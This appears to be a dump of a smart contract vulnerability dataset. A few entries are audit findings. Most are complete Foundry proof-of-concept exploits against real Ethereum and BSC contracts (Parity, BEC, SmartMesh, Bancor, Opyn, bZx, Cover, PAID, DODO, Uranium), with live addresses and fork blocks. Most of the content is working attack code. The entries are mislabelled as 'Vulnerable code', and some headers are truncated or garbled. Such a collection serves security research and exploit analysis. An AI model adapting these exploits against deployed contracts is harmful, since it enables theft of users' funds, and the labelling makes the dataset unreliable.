Farseen0/scar-pairs huggingface dataset:
MEDIUM severity: Incorrect Operator Validation in registerOperator Function. **Severity**: Medium

**Status**: Resolved

**Description**:
In the registerOperator function of the SymbiosisMiddleware contract, there is a critical bug in the operator validation process. The function is incorrectly checking if the msg.sender (the contract owner) is registered in the...

Vulnerable code:
if (!IRegistry(OPERATOR_REGISTRY).isEntity(msg.sender)) { // BUG HERE
   revert NotOperator();
}

Replace the incorrect validation check with the following code:
if (!IRegistry(OPERATOR_REGISTRY).isEntity(operator)) {
   revert NotOperator();
}
MEDIUM severity: Unrestricted “On-Behalf” Borrowing. **Severity**: Medium

**Status**: Resolved

**Description**

Evoq.sol → borrow() / internal call _borrow()
PositionsManager.sol → borrowLogic()
These functions allow specifying arbitrary _borrower and _receiver addresses without verifying that msg.sender is actually authorized to borrow on behalf...

Vulnerable code:
function testBorrow2Attack() public {
       uint256 amount = 10_000 ether;


       address bob = address(0x1234);
       address alice = address(0xdeff);
       console.log("Bob address:", bob);
       console.log("Alice address:", alice);
       deal(usdc, address(alice), INITIAL_BALANCE * WAD);
       uint256 aliceBalance = ERC20(usdc).balanceOf(address(alice));
       console.log(aliceBalance);
       vm.startPrank(alice);
       ERC20(usdc).approve(address(evoq), 2 * amount);
       evoq.supply(vUsdc, 2 * amount);


       vm.startPrank(bob);


       evoq.borrow(vUsdt, amount, alice, bob);
   }
MEDIUM severity: Unrestricted “On-Behalf” Withdrawal. **Severity**: Medium

**Status**: Resolved

**Description (Contracts & Functions)**:

Evoq.sol → withdraw() / internal call _withdraw()
PositionsManager.sol → withdrawLogic()
These functions let the caller specify _supplier and _receiver with no checks confirming that msg.sender is _supplier or...

Vulnerable code:
function testWithdraw1_Attack() public {
      uint256 amount = 10000 ether;
      uint256 collateral = amount;


       address bob = address(0x1234);
       address alice = address(0xdeff);
       console.log("Bob address:", bob);
       console.log("Alice address:", alice);
       deal(usdc, address(alice), INITIAL_BALANCE * WAD);
       uint256 aliceBalance = ERC20(usdc).balanceOf(address(alice));
       console.log(aliceBalance);
       vm.startPrank(alice);
       ERC20(usdc).approve(address(evoq), collateral);
       evoq.supply(vUsdc, collateral);




       uint256 bobBalance = ERC20(usdc).balanceOf(address(bob));
       console.log("Bob balance before Unauthorized Withdraw: ", bobBalance);


       vm.startPrank(bob);
       evoq.withdraw(vUsdc, collateral, alice, bob);


       bobBalance = ERC20(usdc).balanceOf(address(bob));
       console.log("Bob balance after Unauthorized Withdraw", bobBalance);


   }
HIGH severity: Parity_kill exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface parity {
    function isOwner(
        address _addr
    ) external view returns (bool);

    function kill(
        address _to
    ) external;

    function initWallet(address[] memory _owners, uint256 _required, uint256 _daylimit) external;
}

contract ContractTest is Test {
    parity WalletLibrary = parity(payable(0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4));

    address[] public owner;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 4_501_735); //fork mainnet at block 4501735
    }

    function testExploit() public {
        WalletLibrary.isOwner(address(this)); // not a owner of contract
        owner.push(address(this));
        WalletLibrary.initWallet(owner, 0, 0);
        bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now
        assertTrue(isowner);
        WalletLibrary.kill(address(this));
        WalletLibrary.isOwner(address(this)); // contract destroyed, return 0
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: BEC exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface BECToken {
    function balanceOf(
        address account
    ) external view returns (uint256);
    function batchTransfer(address[] calldata _receivers, uint256 _value) external returns (bool);
}

// https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
// https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code  Line261

contract ContractTest is Test {
    address attacker1 = 0xb4D30Cac5124b46C2Df0CF3e3e1Be05f42119033;
    address attacker2 = 0x0e823fFE018727585EaF5Bc769Fa80472F76C3d7;
    BECToken bec = BECToken(0xC5d105E63711398aF9bbff092d4B6769C82F793D);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 5_483_642);
    }

    function testExploit() public {
        emit log_named_decimal_uint("Before Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("Before Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);

        address[] memory receivers = new address[](2);
        receivers[0] = attacker1;
        receivers[1] = attacker2;
        bec.batchTransfer(receivers, type(uint256).max / 2 + 1);

        emit log_named_decimal_uint("After Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("After Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);
    }
}


Vulnerability type: unknown
HIGH severity: SmartMesh exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 140M Attacker : https://etherscan.io/address/0xd6a09bdb29e1eafa92a30373c44b09e2e2e0651e Vulnerable Contract : https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081 Attack Tx : https://etherscan.io/tx/0x1abab4c8db9a30e70311

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 140M
// Attacker : https://etherscan.io/address/0xd6a09bdb29e1eafa92a30373c44b09e2e2e0651e
// Vulnerable Contract : https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081
// Attack Tx : https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x55f93985431fc9304077687a35a1ba103dc1e081#code

// @Analysis
// Post-mortem : https://cryptojobslist.com/blog/two-vulnerable-erc20-contracts-deep-dive-beautychain-smartmesh
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

interface ISmartMesh {
    function transferProxy(
        address _from,
        address _to,
        uint256 _value,
        uint256 _feeSmt,
        uint8 _v,
        bytes32 _r,
        bytes32 _s
    ) external returns (bool);
}

contract SmartMesh is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 5_499_034;

    address internal Victim = 0x55F93985431Fc9304077687a35A1BA103dC1e081;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0x55F93985431Fc9304077687a35A1BA103dC1e081);
    }

    function testExploit() public balanceLog {
        address _from = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;
        address _to = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;
        uint256 _value = uint256(0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint256 _feeSmt = uint256(0x7000000000000000000000000000000000000000000000000000000000000001);
        uint8 _v = uint8(0x000000000000000000000000000000000000000000000000000000000000001b);
        bytes32 _r = 0x87790587c256045860b8fe624e5807a658424fad18c2348460e40ecf10fc8799;
        bytes32 _s = 0x6c879b1e8a0a62f23b47aa57a3369d416dd783966bd1dda0394c04163a98d8d8;
        ISmartMesh(Victim).transferProxy(_from, _to, _value, _feeSmt, _v, _r, _s);
    }
}


Vulnerability type: unknown
HIGH severity: Bancor exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
Bancor Protocol Access Control Exploit PoC

Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.

As a result, if any user had granted approval to these contracts was vulnerable.

The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token 

Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
*/

interface IBancor {
    function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;
}

contract BancorExploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;
    address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;
    address attacker = address(this);
    IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40);

    IBancor bancorContract = IBancor(bancorAddress);

    function setUp() public {
        cheats.createSelectFork("mainnet", 10_307_563); // fork mainnet at 10307563
    }

    function testsafeTransfer() public {
        emit log_named_uint(
            "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)
        );
        emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);

        cheats.prank(address(this));
        bancorContract.safeTransferFrom(
            IERC20(address(XBPToken)),
            victim,
            attacker,
            XBPToken.balanceOf(victim) //905987977635678910008152
        );
        emit log_string("--------------------------------------------------------------");
        emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
        emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
    }
}


Vulnerability type: unknown
HIGH severity: Opyn exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
@Analysis 
https://medium.com/opyn/opyn-eth-put-exploit-post-mortem-1a009e3347a8

@Transaction
0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a*/

contract ContractTest is Test {
    IOpyn opyn = IOpyn(0x951D51bAeFb72319d9FBE941E1615938d89ABfe2);

    address attacker = 0xe7870231992Ab4b1A01814FA0A599115FE94203f;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    IUSDC usdc = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    function setUp() public {
        cheats.createSelectFork("mainnet", 10_592_516); //fork mainnet at block 10592516
    }

    function test_attack() public {
        cheats.startPrank(attacker);

        uint256 balBefore = usdc.balanceOf(attacker) / 1e6;
        console.log("Attacker USDC balance before is    ", balBefore);
        console.log("------EXPLOIT-----");

        //Adds ERC20 collateral, and mints new oTokens in one step
        uint256 amtToCreate = 300_000_000;
        uint256 amtCollateral = 9_900_000_000;
        opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);

        //create an arry of vaults
        address payable[] memory _arr = new address payable[](2);
        _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);
        _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);

        //The attacker excercises the put option on two different valuts using the same msg.value
        opyn.exercise{value: 30 ether}(600_000_000, _arr);

        //remove share of underlying after excercise
        opyn.removeUnderlying();

        uint256 balAfter = usdc.balanceOf(attacker) / 1e6;
        console.log("Attacker USDC balance after is     ", balAfter);
        console.log("Attacker profit is                  ", balAfter - balBefore);
    }
}


Vulnerability type: unknown
HIGH severity: bzx exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7 Vulnerable Contract : https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6 Attack Tx : https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd815

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost :
// Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7
// Vulnerable Contract : https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6
// Attack Tx : https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd8156c956da23fc17e5ef83955c7e2c4c37efa20bb5

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xde744d544a9d768e96c21b5f087fc54b776e9b25#code

// @Analysis
// Twitter Guy : https://x.com/0xCommodity/status/1305354469354303488

pragma solidity ^0.8.0;

contract bzx is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 10_852_716 - 1;

    ILoanTokenLogicWeth constant loanToken = ILoanTokenLogicWeth(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
        fundingToken = address(0x0);
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        vm.deal(address(this), 200 ether); //simulation flashloan
        loanToken.mintWithEther{value: 200 ether}(address(this));

        // transfer token to myself repeatedly
        for (int256 i = 0; i < 4; i++) {
            uint256 balance = loanToken.balanceOf(address(this));
            loanToken.transfer(address(this), balance);
        }

        uint256 balance = loanToken.balanceOf(address(this));
        loanToken.burnToEther(address(this), balance);

        payable(address(0x0)).transfer(200 ether); //simulation replay flashloan
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: Cover exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface Blacksmith {
    function claimRewardsForPools(
        address[] calldata _lpTokens
    ) external;

    function claimRewards(
        address _lpToken
    ) external;

    function deposit(address _lpToken, uint256 _amount) external;

    function withdraw(address _lpToken, uint256 _amount) external;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);

    IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);

    IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);

    function setUp() public {
        cheat.createSelectFork("mainnet", 11_542_309); // fork mainnet at block 11542309
    }

    function test() public {
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);
        bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);
        emit log_named_uint("Deposit BPT", 15_255_552_810_089_260_015_361);
        cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);
        //bs.withdraw(address(bpt),12345678);
        bs.claimRewards(address(bpt));
        emit log_named_uint(
            "After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)
        );
    }
}


Vulnerability type: unknown
HIGH severity: PAID exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://paidnetwork.medium.com/paid-network-attack-postmortem-march-7-2021-9e4c0fef0e07 Root cause: key compromised or rugged @TX https://etherscan.io/tx/0x4bb10927ea7afc2336033574b74ebd6f73ef35ac0db1bb96229627c9d77555a0

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://paidnetwork.medium.com/paid-network-attack-postmortem-march-7-2021-9e4c0fef0e07
// Root cause: key compromised or rugged

// @TX
// https://etherscan.io/tx/0x4bb10927ea7afc2336033574b74ebd6f73ef35ac0db1bb96229627c9d77555a0

interface IPaid {
    function mint(address _owner, uint256 _amount) external;
    function balanceOf(
        address account
    ) external view returns (uint256);
}

contract ContractTest is Test {
    // FakeToken FakeTokenContract;
    IPaid PAID = IPaid(0x8c8687fC965593DFb2F0b4EAeFD55E9D8df348df);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 11_979_839); // Fork mainnet at block 11979839
    }

    function testExploit() public {
        cheats.prank(0x18738290AF1Aaf96f0AcfA945C9C31aB21cd65bE);
        PAID.mint(address(this), 59_471_745_571_000_000_000_000_000); //key compromised or rugged
        emit log_named_decimal_uint("[End] PAID balance after exploitation:", PAID.balanceOf(address(this)), 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: dodo_flashloan exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    uint256 wCRES_amount = 130_000_000_000_000_000_000_000;

    uint256 usdt_amount = 1_100_000_000_000;

    IERC20 wCRES_token = IERC20(0xa0afAA285Ce85974c3C881256cB7F225e3A1178a);

    USDT usdt_token = USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    address maintainer = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;
    DVM dvm = DVM(0x051EBD717311350f1684f89335bed4ABd083a2b6);
    address mtFeeRateModel = 0x5e84190a270333aCe5B9202a3F4ceBf11b81bB01;
    uint256 lpFeeRate = 3_000_000_000_000_000;
    address mywallet = msg.sender;
    uint256 i = 1;
    uint256 k = 1_000_000_000_000_000_000;
    bool isOpenTWAP = false;
    address token1 = 0x7f4E7fB900E0EC043718d05caEe549805CaB22C8;
    address token2 = 0xf2dF8794f8F99f1Ba4D8aDc468EbfF2e47Cd7010;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 12_000_000); // fork mainnet block number 12000000
    }

    function testExploit() public {
        address me = address(this);
        dvm.flashLoan(wCRES_amount, usdt_amount, me, "whatever");

        //emit log_named_uint("Exploit completed, WBNB Balance",wbnb.balanceOf(mywallet));
    }

    function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public {
        emit log_named_uint("FlashLoan WBNB Balance", wCRES_token.balanceOf(address(this)));
        dvm.init(maintainer, token1, token2, lpFeeRate, mtFeeRateModel, i, k, isOpenTWAP);
        wCRES_token.transfer(mywallet, wCRES_token.balanceOf(address(this)));
        usdt_token.transfer(mywallet, usdt_token.balanceOf(address(this)));

        emit log_named_uint("After Exploit completed, wCRES Balance", wCRES_token.balanceOf(mywallet));
        usdt_token.transfer(mywallet, usdt_token.balanceOf(address(this)));
        emit log_named_uint("After Exploit completed, USDT Balance", usdt_token.balanceOf(mywallet));
    }
}


Vulnerability type: unknown
HIGH severity: Uranium exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : $50 M Attacker : 0xd9936EA91a461aA4B727a7e0xc47bdd0a852a88a019385ea3ff57cf8de79f019d3661bcD6cD257481c AttackContract : 0x2b528a28451e9853f51616f3b0f6d82af8bea6ae Txhash : https://bscscan.com/tx/0x5a504fe72ef7fc76dfeb4d979e533af4e23fe37e90b5

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : $50 M
// Attacker : 0xd9936EA91a461aA4B727a7e0xc47bdd0a852a88a019385ea3ff57cf8de79f019d3661bcD6cD257481c
// AttackContract : 0x2b528a28451e9853f51616f3b0f6d82af8bea6ae
// Txhash : https://bscscan.com/tx/0x5a504fe72ef7fc76dfeb4d979e533af4e23fe37e90b5516186d5787893c37991

// REF: https://twitter.com/FrankResearcher/status/1387347025742557186
// Credit: https://medium.com/immunefi/building-a-poc-for-the-uranium-heist-ec83fbd83e9f

/*
Vuln code: 
   uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(16));
   uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(16));
   require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), ‘UraniumSwap: K’);

Critically, we see in Uranium’s implementation that the magic value for fee calculation is 10000 instead of the original 1000. 
The check does not apply the new magic value and instead uses the original 1000. 
This means that the K after a swap is guaranteed to be 100 times larger than the K before the swap when no token balance changes have occurred.*/
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address constant uraniumFactory = 0xA943eA143cd7E79806d670f4a7cf08F8922a454F;

interface IWrappedNative {
    function deposit() external payable;
}

contract Exploit is Test {
    function setUp() public {
        cheat.createSelectFork("bsc", 6_920_000);
    }

    function testExploit() public {
        wrap();
        takeFunds(wbnb, busd, 1 ether);
        takeFunds(busd, wbnb, 1 ether);
        console.log("BUSD STOLEN : ", IERC20(busd).balanceOf(address(this)));
        console.log("WBNB STOLEN : ", IERC20(wbnb).balanceOf(address(this)));
    }

    function wrap() internal {
        IWrappedNative(wbnb).deposit{value: 1 ether}();
        console.log("WBNB start : ", IERC20(wbnb).balanceOf(address(this)));
    }

    function takeFunds(address token0, address token1, uint256 amount) internal {
        IUniswapV2Factory factory = IUniswapV2Factory(uraniumFactory);
        IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(address(token1), address(token0)));

        IERC20(token0).transfer(address(pair), amount);
        uint256 amountOut = (IERC20(token1).balanceOf(address(pair)) * 99) / 100;

        pair.swap(
            pair.token0() == address(token1) ? amountOut : 0,
            pair.token0() == address(token1) ? 0 : amountOut,
            address(this),
            new bytes(0)
        );
    }
}


Vulnerability type: unknown